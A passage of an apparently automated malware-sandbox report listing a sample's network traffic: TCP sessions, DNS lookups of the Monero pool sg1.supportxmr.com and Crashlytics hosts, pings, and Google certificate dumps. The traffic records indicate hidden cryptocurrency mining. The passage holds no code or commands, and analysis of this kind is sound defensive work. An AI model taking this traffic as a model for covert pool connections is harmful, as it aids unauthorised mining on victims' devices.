                          Sep 21, 2018 21:22:01.252413988 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:01.348150015 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:01.349333048 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:01.911452055 CEST541743333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:22:02.064848900 CEST33335417445.125.194.34192.34.76.230
                          Sep 21, 2018 21:22:02.242671013 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:02.338773966 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:02.340497971 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:02.987915993 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:03.084495068 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:03.085887909 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:03.912780046 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:04.009385109 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:04.010595083 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:04.794634104 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:04.891494036 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:04.892586946 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:05.674633026 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:05.770757914 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:05.771935940 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:06.463210106 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:06.559478998 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:06.560756922 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:07.384810925 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:07.481883049 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:07.483124018 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:08.432519913 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:08.529205084 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:08.533202887 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:09.473686934 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:09.569853067 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:09.571284056 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:10.012953997 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:10.109348059 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:10.110367060 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:10.652777910 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:10.749157906 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:10.750492096 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:11.816749096 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:11.920618057 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:11.921770096 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:12.077555895 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:12.174325943 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:12.175761938 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:12.654671907 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:12.751017094 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:12.752299070 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:13.367043018 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:13.464190960 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:13.465562105 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:14.200284004 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:14.297020912 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:14.298718929 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:14.781820059 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:14.877849102 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:14.881903887 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:15.992180109 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:16.088126898 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:16.091564894 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:16.358338118 CEST541743333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:22:16.358591080 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:16.358592033 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:22:16.453550100 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:16.453629971 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:16.455162048 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:16.455319881 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:16.511620045 CEST33335417445.125.194.34192.34.76.230
                          Sep 21, 2018 21:22:16.516813040 CEST541743333192.34.76.23045.125.194.34

                          UDP Packets

                          TimestampSource PortDest PortSource IPDest IP
                          Sep 21, 2018 21:19:17.828253031 CEST3849653192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:17.849747896 CEST53384968.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:20.855043888 CEST5666253192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:20.875741005 CEST53566628.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:22.261742115 CEST3304853192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:22.286037922 CEST53330488.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:22.287806988 CEST4732153192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:22.311907053 CEST53473218.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:22.403791904 CEST4638353192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:22.409168959 CEST53463838.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:41.224553108 CEST4426353192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:41.229965925 CEST53442638.8.8.8192.34.76.230

                          ICMP Packets

                          TimestampSource IPDest IPChecksumCodeType
                          Sep 21, 2018 21:20:01.218065023 CEST192.168.0.2192.34.76.23053acEcho
                          Sep 21, 2018 21:20:01.220825911 CEST192.34.76.230192.168.0.25bacEcho Reply
                          Sep 21, 2018 21:20:02.219938993 CEST192.168.0.2192.34.76.2302a4Echo
                          Sep 21, 2018 21:20:02.222132921 CEST192.34.76.230192.168.0.2aa4Echo Reply
                          Sep 21, 2018 21:20:03.221247911 CEST192.168.0.2192.34.76.230e19dEcho
                          Sep 21, 2018 21:20:03.263492107 CEST192.34.76.230192.168.0.2e99dEcho Reply
                          Sep 21, 2018 21:20:04.222563982 CEST192.168.0.2192.34.76.230be97Echo
                          Sep 21, 2018 21:20:04.223726988 CEST192.34.76.230192.168.0.2c697Echo Reply
                          Sep 21, 2018 21:20:05.223872900 CEST192.168.0.2192.34.76.230a291Echo
                          Sep 21, 2018 21:20:05.242664099 CEST192.34.76.230192.168.0.2aa91Echo Reply
                          Sep 21, 2018 21:20:06.225775003 CEST192.168.0.2192.34.76.2302e89Echo
                          Sep 21, 2018 21:20:06.227130890 CEST192.34.76.230192.168.0.23689Echo Reply

                          DNS Queries

                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                          Sep 21, 2018 21:19:20.855043888 CEST192.34.76.2308.8.8.80x3799Standard query (0)www.google.chA (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.261742115 CEST192.34.76.2308.8.8.80xe74eStandard query (0)sg1.supportxmr.com28IN (0x0001)
                          Sep 21, 2018 21:19:22.287806988 CEST192.34.76.2308.8.8.80x5047Standard query (0)sg1.supportxmr.comA (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.403791904 CEST192.34.76.2308.8.8.80x3afdStandard query (0)settings.crashlytics.comA (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.224553108 CEST192.34.76.2308.8.8.80x2a2dStandard query (0)e.crashlytics.comA (IP address)IN (0x0001)

                          DNS Answers

                          TimestampSource IPDest IPTrans IDReplay CodeNameCNameAddressTypeClass
                          Sep 21, 2018 21:19:20.875741005 CEST8.8.8.8192.34.76.2300x3799No error (0)www.google.ch172.217.168.3A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.311907053 CEST8.8.8.8192.34.76.2300x5047No error (0)sg1.supportxmr.com45.125.194.34A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.409168959 CEST8.8.8.8192.34.76.2300x3afdNo error (0)settings.crashlytics.com54.235.102.221A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.409168959 CEST8.8.8.8192.34.76.2300x3afdNo error (0)settings.crashlytics.com54.225.219.123A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.409168959 CEST8.8.8.8192.34.76.2300x3afdNo error (0)settings.crashlytics.com54.225.213.96A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.409168959 CEST8.8.8.8192.34.76.2300x3afdNo error (0)settings.crashlytics.com54.225.208.243A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.409168959 CEST8.8.8.8192.34.76.2300x3afdNo error (0)settings.crashlytics.com54.227.243.21A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.409168959 CEST8.8.8.8192.34.76.2300x3afdNo error (0)settings.crashlytics.com54.225.85.187A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.409168959 CEST8.8.8.8192.34.76.2300x3afdNo error (0)settings.crashlytics.com54.225.242.97A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:22.409168959 CEST8.8.8.8192.34.76.2300x3afdNo error (0)settings.crashlytics.com54.235.112.154A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)e.crashlytics.comevents-endpoint-c-394794954.us-east-1.elb.amazonaws.comCNAME (Canonical name)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)events-endpoint-c-394794954.us-east-1.elb.amazonaws.com54.243.70.98A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)events-endpoint-c-394794954.us-east-1.elb.amazonaws.com184.73.246.61A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)events-endpoint-c-394794954.us-east-1.elb.amazonaws.com174.129.14.45A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)events-endpoint-c-394794954.us-east-1.elb.amazonaws.com174.129.213.184A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)events-endpoint-c-394794954.us-east-1.elb.amazonaws.com107.22.242.209A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)events-endpoint-c-394794954.us-east-1.elb.amazonaws.com50.17.200.18A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)events-endpoint-c-394794954.us-east-1.elb.amazonaws.com54.243.60.134A (IP address)IN (0x0001)
                          Sep 21, 2018 21:19:41.229965925 CEST8.8.8.8192.34.76.2300x2a2dNo error (0)events-endpoint-c-394794954.us-east-1.elb.amazonaws.com107.21.245.141A (IP address)IN (0x0001)

                          HTTPS Packets

                          TimestampSource PortDest PortSource IPDest IPSubjectIssuerNot BeforeNot AfterRaw
                          Sep 21, 2018 21:19:20.913009882 CEST44349650172.217.168.3192.34.76.230CN=*.google.ch, O=Google LLC, L=Mountain View, ST=California, C=USCN=Google Internet Authority G3, O=Google Trust Services, C=USTue Aug 28 20:23:00 CEST 2018Tue Nov 20 19:23:00 CET 2018[[ Version: V3 Subject: CN=*.google.ch, O=Google LLC, L=Mountain View, ST=California, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 23776314136656232503328835709040571625739479851140199053236420510718029962052489336571644474636886460289437293581556262645092444404148347693303512092332169742180997936691463346153150556298371580728546974947294375116352902303407435288005121450062977656370104166498993401571477774682161843158276234679588416992077427256916415560777319764633778417361745555607539535314912412743900906295908822414637998135840620537949597688046588127629580923112882469117864308639229452128688398084789358232530704212201382092674422131237580618960577382688586897863620269158551977161822885470508783892452586849770230035493011221597338857451 public exponent: 65537 Validity: [From: Tue Aug 28 20:23:00 CEST 2018, To: Tue Nov 20 19:23:00 CET 2018] Issuer: CN=Google Internet Authority G3, O=Google Trust Services, C=US SerialNumber: [ 7da93815 5b2725f9]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://pki.goog/gsr2/GTSGIAG3.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.pki.goog/GTSGIAG3]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 77 C2 B8 50 9A 67 76 76 B1 2D C2 86 D0 83 A0 7E w..P.gvv.-......0010: A6 7E BA 4B ...K]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.pki.goog/GTSGIAG3.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.11129.2.5.3][] ] [CertificatePolicyId: [2.23.140.1.2.2][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth][7]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: *.google.ch DNSName: google.ch][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: EC E9 42 50 23 37 CF 0F EF 8B 68 2B 17 2B FC A1 ..BP#7....h+.+..0010: D6 90 00 B1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: 9A 09 59 66 BC 52 2B 43 F5 92 13 06 D3 FA 12 3C ..Yf.R+C.......<0010: 6C 6F 51 EA 86 BA AA B5 93 8F B4 89 64 D9 A7 AC loQ.........d...0020: 1C 57 0B 72 B9 FA 39 50 BC F0 34 40 30 5B 19 F7 .W.r..9P..4@0[..0030: 27 B3 AC 27 9E 5B 56 47 27 40 6F 00 DE EB 3D BA '..'.[VG'@o...=.0040: F8 11 4B E3 B5 97 06 71 41 92 F4 A7 EA E1 FE E1 ..K....qA.......0050: D0 B3 8D 2D E6 8D A3 32 D6 44 1B D2 6F 52 71 34 ...-...2.D..oRq40060: 50 D8 F2 2F 92 93 03 81 6D 51 43 BD 06 F0 F1 4E P../....mQC....N0070: 64 40 02 15 A7 60 D3 1F 2C EF B3 71 E7 87 A2 61 d@...`..,..q...a0080: C3 72 84 38 E0 9C EB 63 BF B7 48 DC 3A 14 16 8E .r.8...c..H.:...0090: CB 4D 35 3B 56 F0 4F B0 4F 89 57 FE B7 2E 5D D3 .M5;V.O.O.W...].00A0: 33 31 AC F9 58 A2 29 9D BC F8 AC 69 53 6E 1F 82 31..X.)....iSn..00B0: 1D 5F CD 7C E9 89 1B CD B4 F9 29 E2 3E FC 80 95 ._........).>...00C0: 03 1E A8 7A 0D 64 2A DD 39 D4 27 66 FA 9E A7 5B ...z.d*.9.'f...[00D0: 2E 6A 03 BC 43 96 96 B8 15 D3 9D 3B 87 BD 50 DD .j..C......;..P.00E0: 90 B2 5C A8 1E ED 74 1B 82 7C 73 29 DD D9 54 83 ..\...t...s)..T.00F0: 1E 98 83 FF DA 3F F3 F7 99 8E C8 2C 1B B7 6E 95 .....?.....,..n.]
                          Sep 21, 2018 21:19:20.913009882 CEST44349650172.217.168.3192.34.76.230CN=Google Internet Authority G3, O=Google Trust Services, C=USCN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2Thu Jun 15 02:00:42 CEST 2017Wed Dec 15 01:00:42 CET 2021[[ Version: V3 Subject: CN=Google Internet Authority G3, O=Google Trust Services, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 25540719540096549801967532215622388028057340978592080609141732382164154646816296526083121741669679112385237833865384918487699354232562775118368146858293595735927525741548199921580705526790385577846106238921439103492392479618335857028746954930496648766472236039621875919970487709839673576509420299423776077274146396625683921324935984297937024355312712214769839608906726548857225274820644855735385444361318783494335259738982362137265282486277074790515499222682891121616563234042637263891559249011361734853144492241992433528066411156317991355405830410464673595997849166914573354017491657353926030969623191808378512203827 public exponent: 65537 Validity: [From: Thu Jun 15 02:00:42 CEST 2017, To: Wed Dec 15 01:00:42 CET 2021] Issuer: CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2 SerialNumber: [ 01e3a930 1cfc7206 383f9a53 1d]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.pki.goog/gsr2]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 9B E2 07 57 67 1C 1E C0 6A 06 DE 59 B4 9A 2D DF ...Wg...j..Y..-.0010: DC 19 86 2E ....]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.pki.goog/gsr2/gsr2.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.2][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 70 6B 69 2E 67 6F ..https://pki.go0010: 6F 67 2F 72 65 70 6F 73 69 74 6F 72 79 2F og/repository/]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 77 C2 B8 50 9A 67 76 76 B1 2D C2 86 D0 83 A0 7E w..P.gvv.-......0010: A6 7E BA 4B ...K]]] Algorithm: [SHA256withRSA] Signature:0000: 1C B7 89 96 E4 53 ED BB EC DB A8 32 01 9F 2C A3 .....S.....2..,.0010: CD 6D AD 42 12 77 B3 B8 E6 C9 03 52 60 20 7B 57 .m.B.w.....R` .W0020: 27 C6 11 B5 3F 67 0D 99 2C 5B 5A CA 22 0A DD 9E '...?g..,[Z."...0030: BB 1F 4B 48 3F 8F 02 3D 8B 21 84 45 1D 6D F5 FF ..KH?..=.!.E.m..0040: AC 68 89 CD 64 E2 D6 D6 5E 40 C2 8E 2A F7 EF 14 .h..d...^@..*...0050: D3 36 A4 40 30 F5 32 15 15 92 76 FB 7E 9E 53 EA .6.@0.2...v...S.0060: C2 76 FC 39 AD 88 FE 66 92 26 E9 1C C4 38 CD 49 .v.9...f.&...8.I0070: FA 43 87 F0 5D D6 56 4D 81 D7 7F F1 C2 DD B0 4D .C..].VM.......M0080: FE C3 2A 6E 7C 9F 6E 5C ED 62 42 99 E1 F7 36 EE ..*n..n\.bB...6.0090: 14 8C 2C 20 E3 46 97 5A 77 03 C0 A0 C6 4A 88 FD .., .F.Zw....J..00A0: 40 22 87 72 5A 18 EA 9C A5 C7 5A 08 8C E4 05 A4 @".rZ.....Z.....00B0: 7D B9 84 35 5F 89 36 56 0E 40 3D 12 E8 BB 35 72 ...5_.6V.@=...5r00C0: ED AF 08 56 4E B0 BB 2E A9 9B E4 FB 1D 3E 0B 63 ...VN........>.c00D0: C8 9B 4B 91 44 66 57 C0 14 B4 96 F0 DC 2C 57 3F ..K.DfW......,W?00E0: 52 04 AD 95 AA 7D 4D D0 F2 0C 9F 9C 40 E8 D6 55 R.....M.....@..U00F0: 73 BA 3C DF 90 CB 00 5B 21 11 67 C2 ED 32 1E DE s.<....[!.g..2..]
                          Sep 21, 2018 21:19:20.914525986 CEST44349651172.217.168.3192.34.76.230CN=*.google.ch, O=Google LLC, L=Mountain View, ST=California, C=USCN=Google Internet Authority G3, O=Google Trust Services, C=USTue Aug 28 20:23:00 CEST 2018Tue Nov 20 19:23:00 CET 2018[[ Version: V3 Subject: CN=*.google.ch, O=Google LLC, L=Mountain View, ST=California, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 23776314136656232503328835709040571625739479851140199053236420510718029962052489336571644474636886460289437293581556262645092444404148347693303512092332169742180997936691463346153150556298371580728546974947294375116352902303407435288005121450062977656370104166498993401571477774682161843158276234679588416992077427256916415560777319764633778417361745555607539535314912412743900906295908822414637998135840620537949597688046588127629580923112882469117864308639229452128688398084789358232530704212201382092674422131237580618960577382688586897863620269158551977161822885470508783892452586849770230035493011221597338857451 public exponent: 65537 Validity: [From: Tue Aug 28 20:23:00 CEST 2018, To: Tue Nov 20 19:23:00 CET 2018] Issuer: CN=Google Internet Authority G3, O=Google Trust Services, C=US SerialNumber: [ 7da93815 5b2725f9]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://pki.goog/gsr2/GTSGIAG3.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.pki.goog/GTSGIAG3]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 77 C2 B8 50 9A 67 76 76 B1 2D C2 86 D0 83 A0 7E w..P.gvv.-......0010: A6 7E BA 4B ...K]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.pki.goog/GTSGIAG3.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.11129.2.5.3][] ] [CertificatePolicyId: [2.23.140.1.2.2][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth][7]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: *.google.ch DNSName: google.ch][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: EC E9 42 50 23 37 CF 0F EF 8B 68 2B 17 2B FC A1 ..BP#7....h+.+..0010: D6 90 00 B1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: 9A 09 59 66 BC 52 2B 43 F5 92 13 06 D3 FA 12 3C ..Yf.R+C.......<0010: 6C 6F 51 EA 86 BA AA B5 93 8F B4 89 64 D9 A7 AC loQ.........d...0020: 1C 57 0B 72 B9 FA 39 50 BC F0 34 40 30 5B 19 F7 .W.r..9P..4@0[..0030: 27 B3 AC 27 9E 5B 56 47 27 40 6F 00 DE EB 3D BA '..'.[VG'@o...=.0040: F8 11 4B E3 B5 97 06 71 41 92 F4 A7 EA E1 FE E1 ..K....qA.......0050: D0 B3 8D 2D E6 8D A3 32 D6 44 1B D2 6F 52 71 34 ...-...2.D..oRq40060: 50 D8 F2 2F 92 93 03 81 6D 51 43 BD 06 F0 F1 4E P../....mQC....N0070: 64 40 02 15 A7 60 D3 1F 2C EF B3 71 E7 87 A2 61 d@...`..,..q...a0080: C3 72 84 38 E0 9C EB 63 BF B7 48 DC 3A 14 16 8E .r.8...c..H.:...0090: CB 4D 35 3B 56 F0 4F B0 4F 89 57 FE B7 2E 5D D3 .M5;V.O.O.W...].00A0: 33 31 AC F9 58 A2 29 9D BC F8 AC 69 53 6E 1F 82 31..X.)....iSn..00B0: 1D 5F CD 7C E9 89 1B CD B4 F9 29 E2 3E FC 80 95 ._........).>...00C0: 03 1E A8 7A 0D 64 2A DD 39 D4 27 66 FA 9E A7 5B ...z.d*.9.'f...[00D0: 2E 6A 03 BC 43 96 96 B8 15 D3 9D 3B 87 BD 50 DD .j..C......;..P.00E0: 90 B2 5C A8 1E ED 74 1B 82 7C 73 29 DD D9 54 83 ..\...t...s)..T.00F0: 1E 98 83 FF DA 3F F3 F7 99 8E C8 2C 1B B7 6E 95 .....?.....,..n.]
                          Sep 21, 2018 21:19:20.914525986 CEST44349651172.217.168.3192.34.76.230CN=Google Internet Authority G3, O=Google Trust Services, C=USCN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2Thu Jun 15 02:00:42 CEST 2017Wed Dec 15 01:00:42 CET 2021[[ Version: V3 Subject: CN=Google Internet Authority G3, O=Google Trust Services, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 25540719540096549801967532215622388028057340978592080609141732382164154646816296526083121741669679112385237833865384918487699354232562775118368146858293595735927525741548199921580705526790385577846106238921439103492392479618335857028746954930496648766472236039621875919970487709839673576509420299423776077274146396625683921324935984297937024355312712214769839608906726548857225274820644855735385444361318783494335259738982362137265282486277074790515499222682891121616563234042637263891559249011361734853144492241992433528066411156317991355405830410464673595997849166914573354017491657353926030969623191808378512203827 public exponent: 65537 Validity: [From: Thu Jun 15 02:00:42 CEST 2017, To: Wed Dec 15 01:00:42 CET 2021] Issuer: CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2 SerialNumber: [ 01e3a930 1cfc7206 383f9a53 1d]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.pki.goog/gsr2]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 9B E2 07 57 67 1C 1E C0 6A 06 DE 59 B4 9A 2D DF ...Wg...j..Y..-.0010: DC 19 86 2E ....]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.pki.goog/gsr2/gsr2.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.2][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 70 6B 69 2E 67 6F ..https://pki.go0010: 6F 67 2F 72 65 70 6F 73 69 74 6F 72 79 2F og/repository/]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 77 C2 B8 50 9A 67 76 76 B1 2D C2 86 D0 83 A0 7E w..P.gvv.-......0010: A6 7E BA 4B ...K]]] Algorithm: [SHA256withRSA] Signature:0000: 1C B7 89 96 E4 53 ED BB EC DB A8 32 01 9F 2C A3 .....S.....2..,.0010: CD 6D AD 42 12 77 B3 B8 E6 C9 03 52 60 20 7B 57 .m.B.w.....R` .W0020: 27 C6 11 B5 3F 67 0D 99 2C 5B 5A CA 22 0A DD 9E '...?g..,[Z."...0030: BB 1F 4B 48 3F 8F 02 3D 8B 21 84 45 1D 6D F5 FF ..KH?..=.!.E.m..0040: AC 68 89 CD 64 E2 D6 D6 5E 40 C2 8E 2A F7 EF 14 .h..d...^@..*...0050: D3 36 A4 40 30 F5 32 15 15 92 76 FB 7E 9E 53 EA .6.@0.2...v...S.0060: C2 76 FC 39 AD 88 FE 66 92 26 E9 1C C4 38 CD 49 .v.9...f.&...8.I0070: FA 43 87 F0 5D D6 56 4D 81 D7 7F F1 C2 DD B0 4D .C..].VM.......M0080: FE C3 2A 6E 7C 9F 6E 5C ED 62 42 99 E1 F7 36 EE ..*n..n\.bB...6.0090: 14 8C 2C 20 E3 46 97 5A 77 03 C0 A0 C6 4A 88 FD .., .F.Zw....J..00A0: 40 22 87 72 5A 18 EA 9C A5 C7 5A 08 8C E4 05 A4 @".rZ.....Z.....00B0: 7D B9 84 35 5F 89 36 56 0E 40 3D 12 E8 BB 35 72 ...5_.6V.@=...5r00C0: ED AF 08 56 4E B0 BB 2E A9 9B E4 FB 1D 3E 0B 63 ...VN........>.c00D0: C8 9B 4B 91 44 66 57 C0 14 B4 96 F0 DC 2C 57 3F 